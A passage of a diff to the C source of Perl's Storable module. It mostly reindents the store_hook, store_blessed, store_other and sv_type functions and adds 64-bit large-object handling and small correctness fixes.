-	ref = newRV_inc(sv);				/* Temporary reference */
-	av = array_call(aTHX_ ref, hook, clone);	/* @a = $object->STORABLE_freeze($c) */
-	SvREFCNT_dec(ref);					/* Reclaim temporary reference */
+    ref = newRV_inc(sv);		/* Temporary reference */
+    av = array_call(aTHX_ ref, hook, clone); /* @a = $object->STORABLE_freeze($c) */
+    SvREFCNT_dec(ref);			/* Reclaim temporary reference */
 
-	count = AvFILLp(av) + 1;
-	TRACEME(("store_hook, array holds %d items", count));
+    count = AvFILLp(av) + 1;
+    TRACEME(("store_hook, array holds %d items", count));
 
-	/*
-	 * If they return an empty list, it means they wish to ignore the
-	 * hook for this class (and not just this instance -- that's for them
-	 * to handle if they so wish).
-	 *
-	 * Simply disable the cached entry for the hook (it won't be recomputed
-	 * since it's present in the cache) and recurse to store_blessed().
-	 */
+    /*
+     * If they return an empty list, it means they wish to ignore the
+     * hook for this class (and not just this instance -- that's for them
+     * to handle if they so wish).
+     *
+     * Simply disable the cached entry for the hook (it won't be recomputed
+     * since it's present in the cache) and recurse to store_blessed().
+     */
 
-	if (!count) {
-		/* free empty list returned by the hook */
-		av_undef(av);
-		sv_free((SV *) av);
-		
-		/*
-		 * They must not change their mind in the middle of a serialization.
-		 */
+    if (!count) {
+        /* free empty list returned by the hook */
+        av_undef(av);
+        sv_free((SV *) av);
 
-		if (hv_fetch(cxt->hclass, classname, len, FALSE))
-			CROAK(("Too late to ignore hooks for %s class \"%s\"",
-				(cxt->optype & ST_CLONE) ? "cloning" : "storing", classname));
-	
-		pkg_hide(aTHX_ cxt->hook, pkg, "STORABLE_freeze");
+        /*
+         * They must not change their mind in the middle of a serialization.
+         */
 
-		ASSERT(!pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze"), ("hook invisible"));
-		TRACEME(("ignoring STORABLE_freeze in class \"%s\"", classname));
+        if (hv_fetch(cxt->hclass, classname, len, FALSE))
+            CROAK(("Too late to ignore hooks for %s class \"%s\"",
+                   (cxt->optype & ST_CLONE) ? "cloning" : "storing",
+                   classname));
 
-		return store_blessed(aTHX_ cxt, sv, type, pkg);
-	}
+        pkg_hide(aTHX_ cxt->hook, pkg, "STORABLE_freeze");
 
-	/*
-	 * Get frozen string.
-	 */
+        ASSERT(!pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze"),
+               ("hook invisible"));
+        TRACEME(("ignoring STORABLE_freeze in class \"%s\"", classname));
 
-	ary = AvARRAY(av);
-	pv = SvPV(ary[0], len2);
-	/* We can't use pkg_can here because it only caches one method per
-	 * package */
-	{ 
-	    GV* gv = gv_fetchmethod_autoload(pkg, "STORABLE_attach", FALSE);
-	    if (gv && isGV(gv)) {
-	        if (count > 1)
-	            CROAK(("Freeze cannot return references if %s class is using STORABLE_attach", classname));
-	        goto check_done;
-	    }
-	}
+        return store_blessed(aTHX_ cxt, sv, type, pkg);
+    }
 
-	/*
-	 * If they returned more than one item, we need to serialize some
-	 * extra references if not already done.
-	 *
-	 * Loop over the array, starting at position #1, and for each item,
-	 * ensure it is a reference, serialize it if not already done, and
-	 * replace the entry with the tag ID of the corresponding serialized
-	 * object.
-	 *
-	 * We CHEAT by not calling av_fetch() and read directly within the
-	 * array, for speed.
-	 */
+    /*
+     * Get frozen string.
+     */
 
-	for (i = 1; i < count; i++) {
+    ary = AvARRAY(av);
+    pv = SvPV(ary[0], len2);
+    /* We can't use pkg_can here because it only caches one method per
+     * package */
+    { 
+        GV* gv = gv_fetchmethod_autoload(pkg, "STORABLE_attach", FALSE);
+        if (gv && isGV(gv)) {
+            if (count > 1)
+                CROAK(("Freeze cannot return references if %s class is using STORABLE_attach", classname));
+            goto check_done;
+        }
+    }
+
+#ifdef HAS_U64
+    if (count > I32_MAX) {
+	CROAK(("Too many references returned by STORABLE_freeze()"));
+    }
+#endif
+
+    /*
+     * If they returned more than one item, we need to serialize some
+     * extra references if not already done.
+     *
+     * Loop over the array, starting at position #1, and for each item,
+     * ensure it is a reference, serialize it if not already done, and
+     * replace the entry with the tag ID of the corresponding serialized
+     * object.
+     *
+     * We CHEAT by not calling av_fetch() and read directly within the
+     * array, for speed.
+     */
+
+    for (i = 1; i < count; i++) {
 #ifdef USE_PTR_TABLE
-		char *fake_tag;
+        char *fake_tag;
 #else
-		SV **svh;
+        SV **svh;
 #endif
-		SV *rsv = ary[i];
-		SV *xsv;
-		SV *tag;
-		AV *av_hook = cxt->hook_seen;
+        SV *rsv = ary[i];
+        SV *xsv;
+        SV *tag;
+        AV *av_hook = cxt->hook_seen;
 
-		if (!SvROK(rsv))
-			CROAK(("Item #%d returned by STORABLE_freeze "
-				"for %s is not a reference", i, classname));
-		xsv = SvRV(rsv);		/* Follow ref to know what to look for */
+        if (!SvROK(rsv))
+            CROAK(("Item #%d returned by STORABLE_freeze "
+                   "for %s is not a reference", (int)i, classname));
+        xsv = SvRV(rsv);	/* Follow ref to know what to look for */
 
-		/*
-		 * Look in hseen and see if we have a tag already.
-		 * Serialize entry if not done already, and get its tag.
-		 */
-	
+        /*
+         * Look in hseen and see if we have a tag already.
+         * Serialize entry if not done already, and get its tag.
+         */
+
 #ifdef USE_PTR_TABLE
-		/* Fakery needed because ptr_table_fetch returns zero for a
-		   failure, whereas the existing code assumes that it can
-		   safely store a tag zero. So for ptr_tables we store tag+1
-		*/
-		if ((fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv)))
-			goto sv_seen;		/* Avoid moving code too far to the right */
+        /* Fakery needed because ptr_table_fetch returns zero for a
+           failure, whereas the existing code assumes that it can
+           safely store a tag zero. So for ptr_tables we store tag+1
+        */
+        if ((fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv)))
+            goto sv_seen;	/* Avoid moving code too far to the right */
 #else
-		if ((svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE)))
-			goto sv_seen;		/* Avoid moving code too far to the right */
+        if ((svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE)))
+            goto sv_seen;	/* Avoid moving code too far to the right */
 #endif
 
-		TRACEME(("listed object %d at 0x%" UVxf " is unknown",
-                         i-1, PTR2UV(xsv)));
+        TRACEME(("listed object %d at 0x%" UVxf " is unknown", i-1,
+                 PTR2UV(xsv)));
 
-		/*
-		 * We need to recurse to store that object and get it to be known
-		 * so that we can resolve the list of object-IDs at retrieve time.
-		 *
-		 * The first time we do this, we need to emit the proper header
-		 * indicating that we recursed, and what the type of object is (the
-		 * object we're storing via a user-hook).  Indeed, during retrieval,
-		 * we'll have to create the object before recursing to retrieve the
-		 * others, in case those would point back at that object.
-		 */
+        /*
+         * We need to recurse to store that object and get it to be known
+         * so that we can resolve the list of object-IDs at retrieve time.
+         *
+         * The first time we do this, we need to emit the proper header
+         * indicating that we recursed, and what the type of object is (the
+         * object we're storing via a user-hook).  Indeed, during retrieval,
+         * we'll have to create the object before recursing to retrieve the
+         * others, in case those would point back at that object.
+         */
 
-		/* [SX_HOOK] <flags> [<extra>] <object>*/
-		if (!recursed++) {
-			PUTMARK(SX_HOOK);
-			PUTMARK(flags);
-			if (obj_type == SHT_EXTRA)
-				PUTMARK(eflags);
-		} else
-			PUTMARK(flags);
+        /* [SX_HOOK] <flags> [<extra>] <object>*/
+        if (!recursed++) {
+#ifdef HAS_U64
+            if (len2 > INT32_MAX)
+                PUTMARK(SX_LOBJECT);
+#endif
+	    PUTMARK(SX_HOOK);
+            PUTMARK(flags);
+            if (obj_type == SHT_EXTRA)
+                PUTMARK(eflags);
+        } else
+            PUTMARK(flags);
 
-		if ((ret = store(aTHX_ cxt, xsv)))	/* Given by hook for us to store */
-			return ret;
+        if ((ret = store(aTHX_ cxt, xsv)))	/* Given by hook for us to store */
+            return ret;
 
 #ifdef USE_PTR_TABLE
-		fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv);
-		if (!sv)
-			CROAK(("Could not serialize item #%d from hook in %s", i, classname));
+        fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv);
+        if (!fake_tag)
+            CROAK(("Could not serialize item #%d from hook in %s",
+                   (int)i, classname));
 #else
-		svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE);
-		if (!svh)
-			CROAK(("Could not serialize item #%d from hook in %s", i, classname));
+        svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE);
+        if (!svh)
+            CROAK(("Could not serialize item #%d from hook in %s",
+                   (int)i, classname));
 #endif
-		/*
-		 * It was the first time we serialized 'xsv'.
-		 *
-		 * Keep this SV alive until the end of the serialization: if we
-		 * disposed of it right now by decrementing its refcount, and it was
-		 * a temporary value, some next temporary value allocated during
-		 * another STORABLE_freeze might take its place, and we'd wrongly
-		 * assume that new SV was already serialized, based on its presence
-		 * in cxt->hseen.
-		 *
-		 * Therefore, push it away in cxt->hook_seen.
-		 */
+        /*
+         * It was the first time we serialized 'xsv'.
+         *
+         * Keep this SV alive until the end of the serialization: if we
+         * disposed of it right now by decrementing its refcount, and it was
+         * a temporary value, some next temporary value allocated during
+         * another STORABLE_freeze might take its place, and we'd wrongly
+         * assume that new SV was already serialized, based on its presence
+         * in cxt->hseen.
+         *
+         * Therefore, push it away in cxt->hook_seen.
+         */
 
-		av_store(av_hook, AvFILLp(av_hook)+1, SvREFCNT_inc(xsv));
+        av_store(av_hook, AvFILLp(av_hook)+1, SvREFCNT_inc(xsv));
 
-	sv_seen:
-		/*
-		 * Dispose of the REF they returned.  If we saved the 'xsv' away
-		 * in the array of returned SVs, that will not cause the underlying
-		 * referenced SV to be reclaimed.
-		 */
+    sv_seen:
+        /*
+         * Dispose of the REF they returned.  If we saved the 'xsv' away
+         * in the array of returned SVs, that will not cause the underlying
+         * referenced SV to be reclaimed.
+         */
 
-		ASSERT(SvREFCNT(xsv) > 1, ("SV will survive disposal of its REF"));
-		SvREFCNT_dec(rsv);			/* Dispose of reference */
+        ASSERT(SvREFCNT(xsv) > 1, ("SV will survive disposal of its REF"));
+        SvREFCNT_dec(rsv);		/* Dispose of reference */
 
-		/*
-		 * Replace entry with its tag (not a real SV, so no refcnt increment)
-		 */
+        /*
+         * Replace entry with its tag (not a real SV, so no refcnt increment)
+         */
 
 #ifdef USE_PTR_TABLE
-		tag = (SV *)--fake_tag;
+        tag = (SV *)--fake_tag;
 #else
-		tag = *svh;
+        tag = *svh;
 #endif
-		ary[i] = tag;
-		TRACEME(("listed object %d at 0x%" UVxf " is tag #%" UVuf,
-			 i-1, PTR2UV(xsv), PTR2UV(tag)));
-	}
+        ary[i] = tag;
+        TRACEME(("listed object %d at 0x%" UVxf " is tag #%" UVuf,
+                 i-1, PTR2UV(xsv), PTR2UV(tag)));
+#ifdef HAS_U64
+       if ((U32)PTR2TAG(tag) != PTR2TAG(tag))
+           need_large_oids = 1;
+#endif
+    }
 
-	/*
-	 * Allocate a class ID if not already done.
-	 *
-	 * This needs to be done after the recursion above, since at retrieval
-	 * time, we'll see the inner objects first.  Many thanks to
-	 * Salvador Ortiz Garcia <sog at msg.com.mx> who spot that bug and
-	 * proposed the right fix.  -- RAM, 15/09/2000
-	 */
+    /*
+     * Allocate a class ID if not already done.
+     *
+     * This needs to be done after the recursion above, since at retrieval
+     * time, we'll see the inner objects first.  Many thanks to
+     * Salvador Ortiz Garcia <sog at msg.com.mx> who spot that bug and
+     * proposed the right fix.  -- RAM, 15/09/2000
+     */
 
-check_done:
-	if (!known_class(aTHX_ cxt, classname, len, &classnum)) {
-		TRACEME(("first time we see class %s, ID = %d", classname, classnum));
-		classnum = -1;				/* Mark: we must store classname */
-	} else {
-		TRACEME(("already seen class %s, ID = %d", classname, classnum));
-	}
+ check_done:
+    if (!known_class(aTHX_ cxt, classname, len, &classnum)) {
+        TRACEME(("first time we see class %s, ID = %d", classname, (int)classnum));
+        classnum = -1;			/* Mark: we must store classname */
+    } else {
+        TRACEME(("already seen class %s, ID = %d", classname, (int)classnum));
+    }
 
-	/*
-	 * Compute leading flags.
-	 */
+    /*
+     * Compute leading flags.
+     */
 
-	flags = obj_type;
-	if (((classnum == -1) ? len : classnum) > LG_SCALAR)
-		flags |= SHF_LARGE_CLASSLEN;
-	if (classnum != -1)
-		flags |= SHF_IDX_CLASSNAME;
-	if (len2 > LG_SCALAR)
-		flags |= SHF_LARGE_STRLEN;
-	if (count > 1)
-		flags |= SHF_HAS_LIST;
-	if (count > (LG_SCALAR + 1))
-		flags |= SHF_LARGE_LISTLEN;
+    flags = obj_type;
+    if (((classnum == -1) ? len : classnum) > LG_SCALAR)
+        flags |= SHF_LARGE_CLASSLEN;
+    if (classnum != -1)
+        flags |= SHF_IDX_CLASSNAME;
+    if (len2 > LG_SCALAR)
+        flags |= SHF_LARGE_STRLEN;
+    if (count > 1)
+        flags |= SHF_HAS_LIST;
+    if (count > (LG_SCALAR + 1))
+        flags |= SHF_LARGE_LISTLEN;
+#ifdef HAS_U64
+    if (need_large_oids)
+        flags |= SHF_LARGE_LISTLEN;
+#endif
 
-	/* 
-	 * We're ready to emit either serialized form:
-	 *
-	 *   SX_HOOK <flags> <len> <classname> <len2> <str> [<len3> <object-IDs>]
-	 *   SX_HOOK <flags> <index>           <len2> <str> [<len3> <object-IDs>]
-	 *
-	 * If we recursed, the SX_HOOK has already been emitted.
-	 */
+    /*
+     * We're ready to emit either serialized form:
+     *
+     *   SX_HOOK <flags> <len> <classname> <len2> <str> [<len3> <object-IDs>]
+     *   SX_HOOK <flags> <index>           <len2> <str> [<len3> <object-IDs>]
+     *
+     * If we recursed, the SX_HOOK has already been emitted.
+     */
 
-	TRACEME(("SX_HOOK (recursed=%d) flags=0x%x "
-			"class=%" IVdf " len=%" IVdf " len2=%" IVdf " len3=%d",
-		 recursed, flags, (IV)classnum, (IV)len, (IV)len2, count-1));
+    TRACEME(("SX_HOOK (recursed=%d) flags=0x%x "
+             "class=%" IVdf " len=%" IVdf " len2=%" IVdf " len3=%d",
+             recursed, flags, (IV)classnum, (IV)len, (IV)len2, count-1));
 
-	/* SX_HOOK <flags> [<extra>] */
-	if (!recursed) {
-		PUTMARK(SX_HOOK);
-		PUTMARK(flags);
-		if (obj_type == SHT_EXTRA)
-			PUTMARK(eflags);
-	} else
-		PUTMARK(flags);
+    /* SX_HOOK <flags> [<extra>] */
+    if (!recursed) {
+#ifdef HAS_U64
+        if (len2 > INT32_MAX)
+	    PUTMARK(SX_LOBJECT);
+#endif
+	PUTMARK(SX_HOOK);
+        PUTMARK(flags);
+        if (obj_type == SHT_EXTRA)
+            PUTMARK(eflags);
+    } else
+        PUTMARK(flags);
 
-	/* <len> <classname> or <index> */
-	if (flags & SHF_IDX_CLASSNAME) {
-		if (flags & SHF_LARGE_CLASSLEN)
-			WLEN(classnum);
-		else {
-			unsigned char cnum = (unsigned char) classnum;
-			PUTMARK(cnum);
-		}
-	} else {
-		if (flags & SHF_LARGE_CLASSLEN)
-			WLEN(len);
-		else {
-			unsigned char clen = (unsigned char) len;
-			PUTMARK(clen);
-		}
-		WRITE(classname, len);		/* Final \0 is omitted */
-	}
+    /* <len> <classname> or <index> */
+    if (flags & SHF_IDX_CLASSNAME) {
+        if (flags & SHF_LARGE_CLASSLEN)
+            WLEN(classnum);
+        else {
+            unsigned char cnum = (unsigned char) classnum;
+            PUTMARK(cnum);
+        }
+    } else {
+        if (flags & SHF_LARGE_CLASSLEN)
+            WLEN(len);
+        else {
+            unsigned char clen = (unsigned char) len;
+            PUTMARK(clen);
+        }
+        WRITE(classname, len);		/* Final \0 is omitted */
+    }
 
-	/* <len2> <frozen-str> */
-	if (flags & SHF_LARGE_STRLEN) {
-		I32 wlen2 = len2;		/* STRLEN might be 8 bytes */
-		WLEN(wlen2);			/* Must write an I32 for 64-bit machines */
-	} else {
-		unsigned char clen = (unsigned char) len2;
-		PUTMARK(clen);
+    /* <len2> <frozen-str> */
+#ifdef HAS_U64
+    if (len2 > INT32_MAX) {
+        W64LEN(len2);
+    }
+    else
+#endif
+    if (flags & SHF_LARGE_STRLEN) {
+        U32 wlen2 = len2;		/* STRLEN might be 8 bytes */
+        WLEN(wlen2);			/* Must write an I32 for 64-bit machines */
+    } else {
+        unsigned char clen = (unsigned char) len2;
+        PUTMARK(clen);
+    }
+    if (len2)
+        WRITE(pv, (SSize_t)len2);	/* Final \0 is omitted */
+
+    /* [<len3> <object-IDs>] */
+    if (flags & SHF_HAS_LIST) {
+        int len3 = count - 1;
+        if (flags & SHF_LARGE_LISTLEN) {
+#ifdef HAS_U64
+  	    int tlen3 = need_large_oids ? -len3 : len3;
+	    WLEN(tlen3);
+#else
+            WLEN(len3);
+#endif
 	}
-	if (len2)
-		WRITE(pv, (SSize_t)len2);	/* Final \0 is omitted */
+        else {
+            unsigned char clen = (unsigned char) len3;
+            PUTMARK(clen);
+        }
 
-	/* [<len3> <object-IDs>] */
-	if (flags & SHF_HAS_LIST) {
-		int len3 = count - 1;
-		if (flags & SHF_LARGE_LISTLEN)
-			WLEN(len3);
-		else {
-			unsigned char clen = (unsigned char) len3;
-			PUTMARK(clen);
-		}
+        /*
+         * NOTA BENE, for 64-bit machines: the ary[i] below does not yield a
+         * real pointer, rather a tag number, well under the 32-bit limit.
+         * Which is wrong... if we have more than 2**32 SVs we can get ids over
+         * the 32-bit limit.
+         */
 
-		/*
-		 * NOTA BENE, for 64-bit machines: the ary[i] below does not yield a
-		 * real pointer, rather a tag number, well under the 32-bit limit.
-		 */
+        for (i = 1; i < count; i++) {
+#ifdef HAS_U64
+            if (need_large_oids) {
+                ntag_t tag = PTR2TAG(ary[i]);
+                W64LEN(tag);
+                TRACEME(("object %d, tag #%" UVuf, i-1, (UV)tag));
+            }
+            else
+#endif
+            {
+                I32 tagval = htonl(LOW_32BITS(ary[i]));
+                WRITE_I32(tagval);
+                TRACEME(("object %d, tag #%d", i-1, ntohl(tagval)));
+            }
+        }
+    }
 
-		for (i = 1; i < count; i++) {
-			I32 tagval = htonl(LOW_32BITS(ary[i]));
-			WRITE_I32(tagval);
-			TRACEME(("object %d, tag #%d", i-1, ntohl(tagval)));
-		}
-	}
+    /*
+     * Free the array.  We need extra care for indices after 0, since they
+     * don't hold real SVs but integers cast.
+     */
 
-	/*
-	 * Free the array.  We need extra care for indices after 0, since they
-	 * don't hold real SVs but integers cast.
-	 */
+    if (count > 1)
+        AvFILLp(av) = 0;	/* Cheat, nothing after 0 interests us */
+    av_undef(av);
+    sv_free((SV *) av);
 
-	if (count > 1)
-		AvFILLp(av) = 0;	/* Cheat, nothing after 0 interests us */
-	av_undef(av);
-	sv_free((SV *) av);
+    /*
+     * If object was tied, need to insert serialization of the magic object.
+     */
 
-	/*
-	 * If object was tied, need to insert serialization of the magic object.
-	 */
+    if (obj_type == SHT_EXTRA) {
+        MAGIC *mg;
 
-	if (obj_type == SHT_EXTRA) {
-		MAGIC *mg;
+        if (!(mg = mg_find(sv, mtype))) {
+            int svt = SvTYPE(sv);
+            CROAK(("No magic '%c' found while storing ref to tied %s with hook",
+                   mtype, (svt == SVt_PVHV) ? "hash" :
+                   (svt == SVt_PVAV) ? "array" : "scalar"));
+        }
 
-		if (!(mg = mg_find(sv, mtype))) {
-			int svt = SvTYPE(sv);
-			CROAK(("No magic '%c' found while storing ref to tied %s with hook",
-				mtype, (svt == SVt_PVHV) ? "hash" :
-					(svt == SVt_PVAV) ? "array" : "scalar"));
-		}
+        TRACEME(("handling the magic object 0x%" UVxf " part of 0x%" UVxf,
+                 PTR2UV(mg->mg_obj), PTR2UV(sv)));
 
-		TRACEME(("handling the magic object 0x%" UVxf " part of 0x%"
-                         UVxf, PTR2UV(mg->mg_obj), PTR2UV(sv)));
+        /*
+         * [<magic object>]
+         */
+        if ((ret = store(aTHX_ cxt, mg->mg_obj)))
+            return ret;
+    }
 
-		/*
-		 * [<magic object>]
-		 */
-
-		if ((ret = store(aTHX_ cxt, mg->mg_obj)))	/* Extra () for -Wall, grr... */
-			return ret;
-	}
-
-	return 0;
+    return 0;
 }
 
 /*
@@ -3406,75 +4111,76 @@
  * on the high-order bit in flag (same encoding as above for <len>).
  */
 static int store_blessed(
-        pTHX_
-	stcxt_t *cxt,
-	SV *sv,
-	int type,
-	HV *pkg)
+                         pTHX_
+                         stcxt_t *cxt,
+                         SV *sv,
+                         int type,
+                         HV *pkg)
 {
-	SV *hook;
-	I32 len;
-	char *classname;
-	I32 classnum;
+    SV *hook;
+    char *classname;
+    I32 len;
+    I32 classnum;
 
-	TRACEME(("store_blessed, type %d, class \"%s\"", type, HvNAME_get(pkg)));
+    TRACEME(("store_blessed, type %d, class \"%s\"", type, HvNAME_get(pkg)));
 
-	/*
-	 * Look for a hook for this blessed SV and redirect to store_hook()
-	 * if needed.
-	 */
+    /*
+     * Look for a hook for this blessed SV and redirect to store_hook()
+     * if needed.
+     */
 
-	hook = pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze");
-	if (hook)
-		return store_hook(aTHX_ cxt, sv, type, pkg, hook);
+    hook = pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze");
+    if (hook)
+        return store_hook(aTHX_ cxt, sv, type, pkg, hook);
 
-	/*
-	 * This is a blessed SV without any serialization hook.
-	 */
+    /*
+     * This is a blessed SV without any serialization hook.
+     */
 
-	classname = HvNAME_get(pkg);
-	len = strlen(classname);
+    classname = HvNAME_get(pkg);
+    len = strlen(classname);
 
-	TRACEME(("blessed 0x%" UVxf " in %s, no hook: tagged #%d",
-		 PTR2UV(sv), classname, cxt->tagnum));
+    TRACEME(("blessed 0x%" UVxf " in %s, no hook: tagged #%d",
+             PTR2UV(sv), classname, (int)cxt->tagnum));
 
-	/*
-	 * Determine whether it is the first time we see that class name (in which
-	 * case it will be stored in the SX_BLESS form), or whether we already
-	 * saw that class name before (in which case the SX_IX_BLESS form will be
-	 * used).
-	 */
+    /*
+     * Determine whether it is the first time we see that class name (in which
+     * case it will be stored in the SX_BLESS form), or whether we already
+     * saw that class name before (in which case the SX_IX_BLESS form will be
+     * used).
+     */
 
-	if (known_class(aTHX_ cxt, classname, len, &classnum)) {
-		TRACEME(("already seen class %s, ID = %d", classname, classnum));
-		PUTMARK(SX_IX_BLESS);
-		if (classnum <= LG_BLESS) {
-			unsigned char cnum = (unsigned char) classnum;
-			PUTMARK(cnum);
-		} else {
-			unsigned char flag = (unsigned char) 0x80;
-			PUTMARK(flag);
-			WLEN(classnum);
-		}
-	} else {
-		TRACEME(("first time we see class %s, ID = %d", classname, classnum));
-		PUTMARK(SX_BLESS);
-		if (len <= LG_BLESS) {
-			unsigned char clen = (unsigned char) len;
-			PUTMARK(clen);
-		} else {
-			unsigned char flag = (unsigned char) 0x80;
-			PUTMARK(flag);
-			WLEN(len);					/* Don't BER-encode, this should be rare */
-		}
-		WRITE(classname, len);				/* Final \0 is omitted */
-	}
+    if (known_class(aTHX_ cxt, classname, len, &classnum)) {
+        TRACEME(("already seen class %s, ID = %d", classname, (int)classnum));
+        PUTMARK(SX_IX_BLESS);
+        if (classnum <= LG_BLESS) {
+            unsigned char cnum = (unsigned char) classnum;
+            PUTMARK(cnum);
+        } else {
+            unsigned char flag = (unsigned char) 0x80;
+            PUTMARK(flag);
+            WLEN(classnum);
+        }
+    } else {
+        TRACEME(("first time we see class %s, ID = %d", classname,
+                 (int)classnum));
+        PUTMARK(SX_BLESS);
+        if (len <= LG_BLESS) {
+            unsigned char clen = (unsigned char) len;
+            PUTMARK(clen);
+        } else {
+            unsigned char flag = (unsigned char) 0x80;
+            PUTMARK(flag);
+            WLEN(len);	/* Don't BER-encode, this should be rare */
+        }
+        WRITE(classname, len);	/* Final \0 is omitted */
+    }
 
-	/*
-	 * Now emit the <object> part.
-	 */
+    /*
+     * Now emit the <object> part.
+     */
 
-	return SV_STORE(type)(aTHX_ cxt, sv);
+    return SV_STORE(type)(aTHX_ cxt, sv);
 }
 
 /*
@@ -3489,37 +4195,39 @@
  */
 static int store_other(pTHX_ stcxt_t *cxt, SV *sv)
 {
-	I32 len;
-	char buf[80];
+    STRLEN len;
+    char buf[80];
 
-	TRACEME(("store_other"));
+    TRACEME(("store_other"));
 
-	/*
-	 * Fetch the value from perl only once per store() operation.
-	 */
+    /*
+     * Fetch the value from perl only once per store() operation.
+     */
 
-	if (
-		cxt->forgive_me == 0 ||
-		(cxt->forgive_me < 0 && !(cxt->forgive_me =
-			SvTRUE(perl_get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0))
+    if (
+        cxt->forgive_me == 0 ||
+        (cxt->forgive_me < 0 &&
+         !(cxt->forgive_me = SvTRUE
+           (get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0))
 	)
-		CROAK(("Can't store %s items", sv_reftype(sv, FALSE)));
+        CROAK(("Can't store %s items", sv_reftype(sv, FALSE)));
 
-	warn("Can't store item %s(0x%" UVxf ")",
-		sv_reftype(sv, FALSE), PTR2UV(sv));
+    warn("Can't store item %s(0x%" UVxf ")",
+         sv_reftype(sv, FALSE), PTR2UV(sv));
 
-	/*
-	 * Store placeholder string as a scalar instead...
-	 */
+    /*
+     * Store placeholder string as a scalar instead...
+     */
 
-	(void) sprintf(buf, "You lost %s(0x%" UVxf ")%c", sv_reftype(sv, FALSE),
-		       PTR2UV(sv), (char) 0);
+    (void) sprintf(buf, "You lost %s(0x%" UVxf ")%c", sv_reftype(sv, FALSE),
+                   PTR2UV(sv), (char) 0);
 
-	len = strlen(buf);
-	STORE_SCALAR(buf, len);
-	TRACEME(("ok (dummy \"%s\", length = %" IVdf ")", buf, (IV) len));
+    len = strlen(buf);
+    if (len < 80)
+        STORE_SCALAR(buf, len);
+    TRACEME(("ok (dummy \"%s\", length = %" IVdf ")", buf, (IV) len));
 
-	return 0;
+    return 0;
 }
 
 /***
@@ -3536,68 +4244,79 @@
  */
 static int sv_type(pTHX_ SV *sv)
 {
-	switch (SvTYPE(sv)) {
-	case SVt_NULL:
+    switch (SvTYPE(sv)) {
+    case SVt_NULL:
 #if PERL_VERSION <= 10
-	case SVt_IV:
+    case SVt_IV:
 #endif
-	case SVt_NV:
-		/*
-		 * No need to check for ROK, that can't be set here since there
-		 * is no field capable of hodling the xrv_rv reference.
-		 */
-		return svis_SCALAR;
-	case SVt_PV:
+    case SVt_NV:
+        /*
+         * No need to check for ROK, that can't be set here since there
+         * is no field capable of hodling the xrv_rv reference.
+         */
+        return svis_SCALAR;
+    case SVt_PV:
 #if PERL_VERSION <= 10
-	case SVt_RV:
+    case SVt_RV:
 #else
-	case SVt_IV:
+    case SVt_IV:
 #endif
-	case SVt_PVIV:
-	case SVt_PVNV:
-		/*
-		 * Starting from SVt_PV, it is possible to have the ROK flag
-		 * set, the pointer to the other SV being either stored in
-		 * the xrv_rv (in the case of a pure SVt_RV), or as the
-		 * xpv_pv field of an SVt_PV and its heirs.
-		 *
-		 * However, those SV cannot be magical or they would be an
-		 * SVt_PVMG at least.
-		 */
-		return SvROK(sv) ? svis_REF : svis_SCALAR;
-	case SVt_PVMG:
-	case SVt_PVLV:		/* Workaround for perl5.004_04 "LVALUE" bug */
-		if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) ==
-					(SVs_GMG|SVs_SMG|SVs_RMG) &&
-				(mg_find(sv, 'p')))
-			return svis_TIED_ITEM;
-		/* FALL THROUGH */
+    case SVt_PVIV:
+    case SVt_PVNV:
+        /*
+         * Starting from SVt_PV, it is possible to have the ROK flag
+         * set, the pointer to the other SV being either stored in
+         * the xrv_rv (in the case of a pure SVt_RV), or as the
+         * xpv_pv field of an SVt_PV and its heirs.
+         *
+         * However, those SV cannot be magical or they would be an
+         * SVt_PVMG at least.
+         */
+        return SvROK(sv) ? svis_REF : svis_SCALAR;
+    case SVt_PVMG:
+#if PERL_VERSION <= 10
+        if ((SvFLAGS(sv) & (SVs_OBJECT|SVf_OK|SVs_GMG|SVs_SMG|SVs_RMG))
+	          == (SVs_OBJECT|BFD_Svs_SMG_OR_RMG)
+	    && mg_find(sv, PERL_MAGIC_qr)) {
+	      return svis_REGEXP;
+	}
+#endif
+    case SVt_PVLV:		/* Workaround for perl5.004_04 "LVALUE" bug */
+        if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) ==
+            (SVs_GMG|SVs_SMG|SVs_RMG) &&
+            (mg_find(sv, 'p')))
+            return svis_TIED_ITEM;
+        /* FALL THROUGH */
 #if PERL_VERSION < 9
-	case SVt_PVBM:
+    case SVt_PVBM:
 #endif
-		if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) ==
-					(SVs_GMG|SVs_SMG|SVs_RMG) &&
-				(mg_find(sv, 'q')))
-			return svis_TIED;
-		return SvROK(sv) ? svis_REF : svis_SCALAR;
-	case SVt_PVAV:
-		if (SvRMAGICAL(sv) && (mg_find(sv, 'P')))
-			return svis_TIED;
-		return svis_ARRAY;
-	case SVt_PVHV:
-		if (SvRMAGICAL(sv) && (mg_find(sv, 'P')))
-			return svis_TIED;
-		return svis_HASH;
-	case SVt_PVCV:
-		return svis_CODE;
+        if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) ==
+            (SVs_GMG|SVs_SMG|SVs_RMG) &&
+            (mg_find(sv, 'q')))
+            return svis_TIED;
+        return SvROK(sv) ? svis_REF : svis_SCALAR;
+    case SVt_PVAV:
+        if (SvRMAGICAL(sv) && (mg_find(sv, 'P')))
+            return svis_TIED;
+        return svis_ARRAY;
+    case SVt_PVHV:
+        if (SvRMAGICAL(sv) && (mg_find(sv, 'P')))
+            return svis_TIED;
+        return svis_HASH;
+    case SVt_PVCV:
+        return svis_CODE;
 #if PERL_VERSION > 8
 	/* case SVt_INVLIST: */
 #endif
-	default:
-		break;
-	}
+#if PERL_VERSION > 10
+    case SVt_REGEXP:
